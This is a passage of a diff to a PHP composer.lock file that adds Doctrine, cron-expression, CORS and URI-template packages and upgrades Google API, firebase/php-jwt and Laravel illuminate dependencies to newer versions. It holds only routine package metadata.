"kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Cache library is a popular cache implementation that supports many different drivers such as redis, memcache, apc, mongodb and others.", + "homepage": "https://www.doctrine-project.org/projects/cache.html", + "keywords": [ + "abstraction", + "apcu", + "cache", + "caching", + "couchdb", + "memcached", + "php", + "redis", + "xcache" + ], + "support": { + "issues": "https://github.com/doctrine/cache/issues", + "source": "https://github.com/doctrine/cache/tree/2.2.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fcache", + "type": "tidelift" + } + ], + "time": "2022-05-20T20:07:39+00:00" + }, + { + "name": "doctrine/dbal", + "version": "3.7.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/dbal.git", + "reference": "00d03067f07482f025d41ab55e4ba0db5eca2cdf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/00d03067f07482f025d41ab55e4ba0db5eca2cdf", + "reference": "00d03067f07482f025d41ab55e4ba0db5eca2cdf", + "shasum": "" + }, + "require": { + "composer-runtime-api": "^2", + "doctrine/cache": "^1.11|^2.0", + "doctrine/deprecations": "^0.5.3|^1", + "doctrine/event-manager": "^1|^2", + "php": "^7.4 || ^8.0", + "psr/cache": "^1|^2|^3", + "psr/log": "^1|^2|^3" + }, + "require-dev": { + "doctrine/coding-standard": "12.0.0", + "fig/log-test": "^1", + "jetbrains/phpstorm-stubs": "2023.1", + "phpstan/phpstan": "1.10.35", + "phpstan/phpstan-strict-rules": "^1.5", + "phpunit/phpunit": "9.6.13", + "psalm/plugin-phpunit": "0.18.4", + "slevomat/coding-standard": "8.13.1", + "squizlabs/php_codesniffer": "3.7.2", + "symfony/cache": "^5.4|^6.0", + "symfony/console": "^4.4|^5.4|^6.0", + "vimeo/psalm": "4.30.0" + }, + "suggest": { + "symfony/console": "For helpful console commands such as SQL execution and import of files." + }, + "bin": [ + "bin/doctrine-dbal" + ], + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\DBAL\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + } + ], + "description": "Powerful PHP database abstraction layer (DBAL) with many features for database schema introspection and management.", + "homepage": "https://www.doctrine-project.org/projects/dbal.html", + "keywords": [ + "abstraction", + "database", + "db2", + "dbal", + "mariadb", + "mssql", + "mysql", + "oci8", + "oracle", + "pdo", + "pgsql", + "postgresql", + "queryobject", + "sasql", + "sql", + "sqlite", + "sqlserver", + "sqlsrv" + ], + "support": { + "issues": "https://github.com/doctrine/dbal/issues", + "source": "https://github.com/doctrine/dbal/tree/3.7.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fdbal", + "type": "tidelift" + } + ], + "time": "2023-09-26T20:56:55+00:00" + }, + { + "name": "doctrine/deprecations", + "version": "1.1.3", + "source": { + "type": "git", + "url": "https://github.com/doctrine/deprecations.git", + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "doctrine/coding-standard": "^9", + "phpstan/phpstan": "1.4.10 || 1.10.15", + "phpstan/phpstan-phpunit": "^1.0", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "psalm/plugin-phpunit": "0.18.4", + "psr/log": "^1 || ^2 || ^3", + "vimeo/psalm": "4.30.0 || 5.12.0" + }, + "suggest": { + "psr/log": "Allows logging deprecations via PSR-3 logger implementation" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.", + "homepage": "https://www.doctrine-project.org/", + "support": { + "issues": "https://github.com/doctrine/deprecations/issues", + "source": "https://github.com/doctrine/deprecations/tree/1.1.3" + }, + "time": "2024-01-30T19:34:25+00:00" + }, + { + "name": "doctrine/event-manager", + "version": "2.0.1", + "source": { + "type": "git", + "url": "https://github.com/doctrine/event-manager.git", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/event-manager/zipball/b680156fa328f1dfd874fd48c7026c41570b9c6e", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "conflict": { + "doctrine/common": "<2.9" + }, + "require-dev": { + "doctrine/coding-standard": "^12", + "phpstan/phpstan": "^1.8.8", + "phpunit/phpunit": "^10.5", + "vimeo/psalm": "^5.24" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + }, + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com" + } + ], + "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.", + "homepage": "https://www.doctrine-project.org/projects/event-manager.html", + "keywords": [ + "event", + "event dispatcher", + "event manager", + "event system", + "events" + ], + "support": { + "issues": "https://github.com/doctrine/event-manager/issues", + "source": "https://github.com/doctrine/event-manager/tree/2.0.1" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fevent-manager", + "type": "tidelift" + } + ], + "time": "2024-05-22T20:47:39+00:00" }, { "name": "doctrine/inflector", @@ -413,6 +756,67 @@ ], "time": "2024-02-18T20:23:39+00:00" }, + { + "name": "dragonmantank/cron-expression", + "version": "v3.3.3", + "source": { + "type": "git", + "url": "https://github.com/dragonmantank/cron-expression.git", + "reference": "adfb1f505deb6384dc8b39804c5065dd3c8c8c0a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dragonmantank/cron-expression/zipball/adfb1f505deb6384dc8b39804c5065dd3c8c8c0a", + "reference": "adfb1f505deb6384dc8b39804c5065dd3c8c8c0a", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0", + "webmozart/assert": "^1.0" + }, + "replace": { + "mtdowling/cron-expression": "^1.0" + }, + "require-dev": { + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^1.0", + "phpstan/phpstan-webmozart-assert": "^1.0", + "phpunit/phpunit": "^7.0|^8.0|^9.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Cron\\": "src/Cron/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Tankersley", + "email": "chris@ctankersley.com", + "homepage": "https://github.com/dragonmantank" + } + ], + "description": "CRON for PHP: Calculate the next or previous run date and determine if a CRON expression is due", + "keywords": [ + "cron", + "schedule" + ], + "support": { + "issues": "https://github.com/dragonmantank/cron-expression/issues", + "source": "https://github.com/dragonmantank/cron-expression/tree/v3.3.3" + }, + "funding": [ + { + "url": "https://github.com/dragonmantank", + "type": "github" + } + ], + "time": "2023-08-10T19:36:49+00:00" + }, { "name": "edwinhoksberg/php-fcm", "version": "v1.2.0", @@ -519,26 +923,26 @@ }, { "name": "firebase/php-jwt", - "version": "v6.10.0", + "version": "v6.10.1", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "a49db6f0a5033aef5143295342f1c95521b075ff" + "reference": "500501c2ce893c824c801da135d02661199f60c5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff", - "reference": "a49db6f0a5033aef5143295342f1c95521b075ff", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/500501c2ce893c824c801da135d02661199f60c5", + "reference": "500501c2ce893c824c801da135d02661199f60c5", "shasum": "" }, "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "require-dev": { - "guzzlehttp/guzzle": "^6.5||^7.4", + "guzzlehttp/guzzle": "^7.4", "phpspec/prophecy-phpunit": "^2.0", "phpunit/phpunit": "^9.5", - "psr/cache": "^1.0||^2.0", + "psr/cache": "^2.0||^3.0", "psr/http-client": "^1.0", "psr/http-factory": "^1.0" }, @@ -576,9 +980,80 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v6.10.0" + "source": "https://github.com/firebase/php-jwt/tree/v6.10.1" }, - "time": "2023-12-01T16:26:39+00:00" + "time": "2024-05-18T18:05:11+00:00" + }, + { + "name": "fruitcake/php-cors", + "version": "v1.3.0", + "source": { + "type": "git", + "url": "https://github.com/fruitcake/php-cors.git", + "reference": "3d158f36e7875e2f040f37bc0573956240a5a38b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fruitcake/php-cors/zipball/3d158f36e7875e2f040f37bc0573956240a5a38b", + "reference": "3d158f36e7875e2f040f37bc0573956240a5a38b", + "shasum": "" + }, + "require": { + "php": "^7.4|^8.0", + "symfony/http-foundation": "^4.4|^5.4|^6|^7" + }, + "require-dev": { + "phpstan/phpstan": "^1.4", + "phpunit/phpunit": "^9", + "squizlabs/php_codesniffer": "^3.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.2-dev" + } + }, + "autoload": { + "psr-4": { + "Fruitcake\\Cors\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fruitcake", + "homepage": "https://fruitcake.nl" + }, + { + "name": "Barryvdh", + "email": "barryvdh@gmail.com" + } + ], + "description": "Cross-origin resource sharing library for the Symfony HttpFoundation", + "homepage": "https://github.com/fruitcake/php-cors", + "keywords": [ + "cors", + "laravel", + "symfony" + ], + "support": { + "issues": "https://github.com/fruitcake/php-cors/issues", + "source": "https://github.com/fruitcake/php-cors/tree/v1.3.0" + }, + "funding": [ + { + "url": "https://fruitcake.nl", + "type": "custom" + }, + { + "url": "https://github.com/barryvdh", + "type": "github" + } + ], + "time": "2023-10-12T05:21:21+00:00" }, { "name": "google/apiclient", @@ -651,23 +1126,23 @@ }, { "name": "google/apiclient-services", - "version": "v0.355.0", + "version": "v0.359.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-api-php-client-services.git", - "reference": "235e6a45ecafd77accc102b5ab6d529aab54da23" + "reference": "e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/235e6a45ecafd77accc102b5ab6d529aab54da23", - "reference": "235e6a45ecafd77accc102b5ab6d529aab54da23", + "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338", + "reference": "e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338", "shasum": "" }, "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "require-dev": { - "phpunit/phpunit": "^5.7||^8.5.13" + "phpunit/phpunit": "^9.6" }, "type": "library", "autoload": { @@ -689,40 +1164,42 @@ ], "support": { "issues": "https://github.com/googleapis/google-api-php-client-services/issues", - "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.355.0" + "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.359.0" }, - "time": "2024-05-11T01:02:11+00:00" + "time": "2024-06-10T01:02:17+00:00" }, { "name": "google/auth", - "version": "v1.37.1", + "version": "v1.40.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-auth-library-php.git", - "reference": "1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46" + "reference": "bff9f2d01677e71a98394b5ac981b99523df5178" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-auth-library-php/zipball/1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46", - "reference": "1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46", + "url": "https://api.github.com/repos/googleapis/google-auth-library-php/zipball/bff9f2d01677e71a98394b5ac981b99523df5178", + "reference": "bff9f2d01677e71a98394b5ac981b99523df5178", "shasum": "" }, "require": { "firebase/php-jwt": "^6.0", - "guzzlehttp/guzzle": "^6.5.8||^7.4.5", + "guzzlehttp/guzzle": "^7.4.5", "guzzlehttp/psr7": "^2.4.5", - "php": "^7.4||^8.0", - "psr/cache": "^1.0||^2.0||^3.0", + "php": "^8.0", + "psr/cache": "^2.0||^3.0", "psr/http-message": "^1.1||^2.0" }, "require-dev": { "guzzlehttp/promises": "^2.0", "kelvinmo/simplejwt": "0.7.1", - "phpseclib/phpseclib": "^3.0", - "phpspec/prophecy-phpunit": "^2.0", - "phpunit/phpunit": "^9.0.0", + "phpseclib/phpseclib": "^3.0.35", + "phpspec/prophecy-phpunit": "^2.1", + "phpunit/phpunit": "^9.6", "sebastian/comparator": ">=1.2.3", - "squizlabs/php_codesniffer": "^3.5" + "squizlabs/php_codesniffer": "^3.5", + "symfony/process": "^6.0||^7.0", + "webmozart/assert": "^1.11" }, "suggest": { "phpseclib/phpseclib": "May be used in place of OpenSSL for signing strings or for token management. Please require version ^2." @@ -747,9 +1224,9 @@ "support": { "docs": "https://googleapis.github.io/google-auth-library-php/main/", "issues": "https://github.com/googleapis/google-auth-library-php/issues", - "source": "https://github.com/googleapis/google-auth-library-php/tree/v1.37.1" + "source": "https://github.com/googleapis/google-auth-library-php/tree/v1.40.0" }, - "time": "2024-04-03T18:41:12+00:00" + "time": "2024-05-31T19:16:15+00:00" }, { "name": "guzzlehttp/guzzle", @@ -1076,26 +1553,112 @@ ], "time": "2023-12-03T20:05:35+00:00" }, + { + "name": "guzzlehttp/uri-template", + "version": "v1.0.3", + "source": { + "type": "git", + "url": "https://github.com/guzzle/uri-template.git", + "reference": "ecea8feef63bd4fef1f037ecb288386999ecc11c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/uri-template/zipball/ecea8feef63bd4fef1f037ecb288386999ecc11c", + "reference": "ecea8feef63bd4fef1f037ecb288386999ecc11c", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "symfony/polyfill-php80": "^1.24" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.36 || ^9.6.15", + "uri-template/tests": "1.0.0" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\UriTemplate\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + } + ], + "description": "A polyfill class for uri_template of PHP", + "keywords": [ + "guzzlehttp", + "uri-template" + ], + "support": { + "issues": "https://github.com/guzzle/uri-template/issues", + "source": "https://github.com/guzzle/uri-template/tree/v1.0.3" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/uri-template", + "type": "tidelift" + } + ], + "time": "2023-12-03T19:50:20+00:00" + }, { "name": "illuminate/bus", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/bus.git", - "reference": "d2a8ae4bfd881086e55455e470776358eab27eae" + "reference": "252e200dacaeb168675cbf1aa26dbead57492a6c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/bus/zipball/d2a8ae4bfd881086e55455e470776358eab27eae", - "reference": "d2a8ae4bfd881086e55455e470776358eab27eae", + "url": "https://api.github.com/repos/illuminate/bus/zipball/252e200dacaeb168675cbf1aa26dbead57492a6c", + "reference": "252e200dacaeb168675cbf1aa26dbead57492a6c", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/pipeline": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/pipeline": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "suggest": { "illuminate/queue": "Required to use closures when chaining jobs (^7.0)." @@ -1103,7 +1666,7 @@ "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1127,43 +1690,45 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-03-07T15:02:42+00:00" + "time": "2024-05-24T17:00:27+00:00" }, { "name": "illuminate/cache", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/cache.git", - "reference": "7ae5b3661413dad7264b5c69037190d766bae50f" + "reference": "6020bc5f40b62cc680be3eb57e980e5cb26884ff" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/cache/zipball/7ae5b3661413dad7264b5c69037190d766bae50f", - "reference": "7ae5b3661413dad7264b5c69037190d766bae50f", + "url": "https://api.github.com/repos/illuminate/cache/zipball/6020bc5f40b62cc680be3eb57e980e5cb26884ff", + "reference": "6020bc5f40b62cc680be3eb57e980e5cb26884ff", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "provide": { - "psr/simple-cache-implementation": "1.0" + "psr/simple-cache-implementation": "1.0|2.0|3.0" }, "suggest": { + "ext-apcu": "Required to use the APC cache driver.", + "ext-filter": "Required to use the DynamoDb cache driver.", "ext-memcached": "Required to use the memcache cache driver.", - "illuminate/database": "Required to use the database cache driver (^8.0).", - "illuminate/filesystem": "Required to use the file cache driver (^8.0).", - "illuminate/redis": "Required to use the redis cache driver (^8.0).", - "symfony/cache": "Required to PSR-6 cache bridge (^5.4)." + "illuminate/database": "Required to use the database cache driver (^10.0).", + "illuminate/filesystem": "Required to use the file cache driver (^10.0).", + "illuminate/redis": "Required to use the redis cache driver (^10.0).", + "symfony/cache": "Required to use PSR-6 cache bridge (^6.2)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1187,34 +1752,35 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-07-22T14:58:32+00:00" + "time": "2024-05-23T18:38:25+00:00" }, { "name": "illuminate/collections", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/collections.git", - "reference": "705a4e1ef93cd492c45b9b3e7911cccc990a07f4" + "reference": "f9589f1063a449111dcaa1d68285b507d9483a95" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/collections/zipball/705a4e1ef93cd492c45b9b3e7911cccc990a07f4", - "reference": "705a4e1ef93cd492c45b9b3e7911cccc990a07f4", + "url": "https://api.github.com/repos/illuminate/collections/zipball/f9589f1063a449111dcaa1d68285b507d9483a95", + "reference": "f9589f1063a449111dcaa1d68285b507d9483a95", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "php": "^7.3|^8.0" + "illuminate/conditionable": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "php": "^8.1" }, "suggest": { - "symfony/var-dumper": "Required to use the dump method (^5.4)." + "symfony/var-dumper": "Required to use the dump method (^6.2)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1241,31 +1807,77 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-06-23T15:29:49+00:00" + "time": "2024-03-20T20:09:13+00:00" + }, + { + "name": "illuminate/conditionable", + "version": "v10.48.12", + "source": { + "type": "git", + "url": "https://github.com/illuminate/conditionable.git", + "reference": "d0958e4741fc9d6f516a552060fd1b829a85e009" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/conditionable/zipball/d0958e4741fc9d6f516a552060fd1b829a85e009", + "reference": "d0958e4741fc9d6f516a552060fd1b829a85e009", + "shasum": "" + }, + "require": { + "php": "^8.0.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Support\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Conditionable package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2023-02-03T08:06:17+00:00" }, { "name": "illuminate/config", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/config.git", - "reference": "feac56ab7a5c70cf2dc60dffe4323eb9851f51a8" + "reference": "d5e83ceff5c4d5607b1b81763eb4c436911c35da" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/config/zipball/feac56ab7a5c70cf2dc60dffe4323eb9851f51a8", - "reference": "feac56ab7a5c70cf2dc60dffe4323eb9851f51a8", + "url": "https://api.github.com/repos/illuminate/config/zipball/d5e83ceff5c4d5607b1b81763eb4c436911c35da", + "reference": "d5e83ceff5c4d5607b1b81763eb4c436911c35da", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1289,43 +1901,48 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-01-31T15:57:46+00:00" + "time": "2022-08-21T15:47:27+00:00" }, { "name": "illuminate/console", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/console.git", - "reference": "4aaa93223eb3bd8119157c95f58c022967826035" + "reference": "d001036218ea5fbb382ee5c845292b067ea8b46f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/console/zipball/4aaa93223eb3bd8119157c95f58c022967826035", - "reference": "4aaa93223eb3bd8119157c95f58c022967826035", + "url": "https://api.github.com/repos/illuminate/console/zipball/d001036218ea5fbb382ee5c845292b067ea8b46f", + "reference": "d001036218ea5fbb382ee5c845292b067ea8b46f", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/console": "^5.4", - "symfony/process": "^5.4" + "ext-mbstring": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "illuminate/view": "^10.0", + "laravel/prompts": "^0.1.9", + "nunomaduro/termwind": "^1.13", + "php": "^8.1", + "symfony/console": "^6.2", + "symfony/process": "^6.2" }, "suggest": { - "dragonmantank/cron-expression": "Required to use scheduler (^3.0.2).", - "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^6.5.5|^7.0.1).", - "illuminate/bus": "Required to use the scheduled job dispatcher (^8.0).", - "illuminate/container": "Required to use the scheduler (^8.0).", - "illuminate/filesystem": "Required to use the generator command (^8.0).", - "illuminate/queue": "Required to use closures for scheduled jobs (^8.0)." + "dragonmantank/cron-expression": "Required to use scheduler (^3.3.2).", + "ext-pcntl": "Required to use signal trapping.", + "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^7.5).", + "illuminate/bus": "Required to use the scheduled job dispatcher (^10.0).", + "illuminate/container": "Required to use the scheduler (^10.0).", + "illuminate/filesystem": "Required to use the generator command (^10.0).", + "illuminate/queue": "Required to use closures for scheduled jobs (^10.0)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1349,34 +1966,34 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-04-21T22:14:18+00:00" + "time": "2024-03-21T13:10:17+00:00" }, { "name": "illuminate/container", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/container.git", - "reference": "14062628d05f75047c5a1360b9350028427d568e" + "reference": "ddc26273085fad3c471b2602ad820e0097ff7939" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/container/zipball/14062628d05f75047c5a1360b9350028427d568e", - "reference": "14062628d05f75047c5a1360b9350028427d568e", + "url": "https://api.github.com/repos/illuminate/container/zipball/ddc26273085fad3c471b2602ad820e0097ff7939", + "reference": "ddc26273085fad3c471b2602ad820e0097ff7939", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "php": "^7.3|^8.0", - "psr/container": "^1.0" + "illuminate/contracts": "^10.0", + "php": "^8.1", + "psr/container": "^1.1.1|^2.0.1" }, "provide": { - "psr/container-implementation": "1.0" + "psr/container-implementation": "1.1|2.0" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1400,31 +2017,31 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-02-02T21:03:35+00:00" + "time": "2023-06-18T09:12:03+00:00" }, { "name": "illuminate/contracts", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/contracts.git", - "reference": "5e0fd287a1b22a6b346a9f7cd484d8cf0234585d" + "reference": "8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/contracts/zipball/5e0fd287a1b22a6b346a9f7cd484d8cf0234585d", - "reference": "5e0fd287a1b22a6b346a9f7cd484d8cf0234585d", + "url": "https://api.github.com/repos/illuminate/contracts/zipball/8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac", + "reference": "8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac", "shasum": "" }, "require": { - "php": "^7.3|^8.0", - "psr/container": "^1.0", - "psr/simple-cache": "^1.0" + "php": "^8.1", + "psr/container": "^1.1.1|^2.0.1", + "psr/simple-cache": "^1.0|^2.0|^3.0" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1448,45 +2065,50 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-01-13T14:47:47+00:00" + "time": "2024-01-15T18:52:32+00:00" }, { "name": "illuminate/database", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/database.git", - "reference": "1a5b0e4e6913415464fa2aab554a38b9e6fa44b1" + "reference": "c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/database/zipball/1a5b0e4e6913415464fa2aab554a38b9e6fa44b1", - "reference": "1a5b0e4e6913415464fa2aab554a38b9e6fa44b1", + "url": "https://api.github.com/repos/illuminate/database/zipball/c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c", + "reference": "c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/console": "^5.4" + "brick/math": "^0.9.3|^0.10.2|^0.11|^0.12", + "ext-pdo": "*", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": 